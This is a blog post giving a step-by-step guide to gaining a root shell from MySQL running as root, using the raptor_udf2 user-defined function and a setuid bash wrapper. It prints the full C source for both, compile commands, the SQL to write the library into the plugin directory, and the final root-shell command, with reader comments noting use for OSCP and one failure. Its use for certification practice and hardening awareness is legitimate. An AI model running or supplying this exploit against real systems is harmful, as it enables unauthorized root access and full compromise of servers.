Thursday, January 7, 2016

Get root shell access using mysql with user defined functions and setuid

7:39 AM Posted by Dilli Raj Maharjan , 2 comments

Never run MySQL server processes as user root.


This step by step guide is to gain Root shell using MySQL User Defined Functions and SETUID Binaries. This guide will not work if MySQL server processes is started with OS user mysql.
if accidentally mysql server is started with user root then we can easily get the root shell access using MySQL User Defined Functions and SETUID binaries. For demonstration purpose we have stopped database and intentionally started database as user root.

For demonstration we are using following:

  • MySQL Server version: 5.1.73 Source distribution
  • Red Hat Enterprise Linux Server release 6.7 (Santiago)
  • Limited OS user access
  • MySQL root access.

Find the user who have started mysql server.
We can notice that the MySQL server processed is started with user mysql. on third line process with PID 3069 has user mysql will determine the user with whom the server processes is started.
ps aux | grep mysql











Stop mysql server
/etc/init.d/mysqld stop







Modify user=root parameter on my.cnf
Start mysql server 
/etc/init.d/mysqld start











Find  plugin_dir of mysql.
We need to find the plugin directory of mysql. We will store our custom library file to the plugin directory.
show variables like '%plugin_dir%';











Create file raptor_udf2.c with following contents on home directory
This c file will define function do_system to execute Linux OS command.
#include
#include
enum Item_result {STRING_RESULT, REAL_RESULT, INT_RESULT, ROW_RESULT};
typedef struct st_udf_args {
unsigned int arg_count; // number of arguments
enum Item_result *arg_type; // pointer to item_result
char **args; // pointer to arguments
unsigned long *lengths; // length of string args
char *maybe_null; // 1 for maybe_null args
} UDF_ARGS;
typedef struct st_udf_init {
char maybe_null; // 1 if func can return NULL
unsigned int decimals; // for real functions
unsigned long max_length; // for string functions
char *ptr; // free ptr for func data
char const_item; // 0 if result is constant
} UDF_INIT;
int do_system(UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error)
{
if (args->arg_count != 1)
return(0);
system(args->args[0]);
return(0);
}
char do_system_init(UDF_INIT *initid, UDF_ARGS *args, char *message)
{
return(0);
}






































Compile c file with command below
gcc -g -fPIC -c raptor_udf2.c
gcc -g -shared -W1,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc






Login to mysql as user root.
Note we have login MySQL as OS user oracle not as User root.
mysql -u root -p

















Pick any database and create table.
We can choose any database in following step. We will create a table, load our plugin to the table and finally dump our plugin to the plugin directory. We do not have directly access to plugin directory so we are processing the same thing via mysql. 
 use test;
 create table dilli(line blob);








Load lib file to the table with command below.
insert into dilli values(load_file('/home/oracle/raptor_udf2.so'));








Create library file on the plugin directory listed above.
select line from dilli into dumpfile '/usr/lib64/mysql/plugin/raptor_udf2.so';







Create user defined functions
create function do_system returns integer soname 'raptor_udf2.so';








Create file setuid.c with content below
This binary allows users to execute the binary with the permissions of the executables owner.
#include
#include
#include
int main(void)
{
setuid(0); setgid(0); system("/bin/bash");
}












Execute following command on mysql as db user root. 
select do_system('gcc -o /tmp/setuid /home/oracle/setuid.c');
select do_system('chmod u+s /tmp/setuid');



















Execute following command to gain root access
\!sh /tmp/setuid



2 comments:

  1. Worked 😎 Gonna use this for OSCP , thx

    ReplyDelete
  2. mysql> select line from dilli into dumpfile '/usr/lib64/mysql/plugin/raptor_udf2.so';
    ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement

    ReplyDelete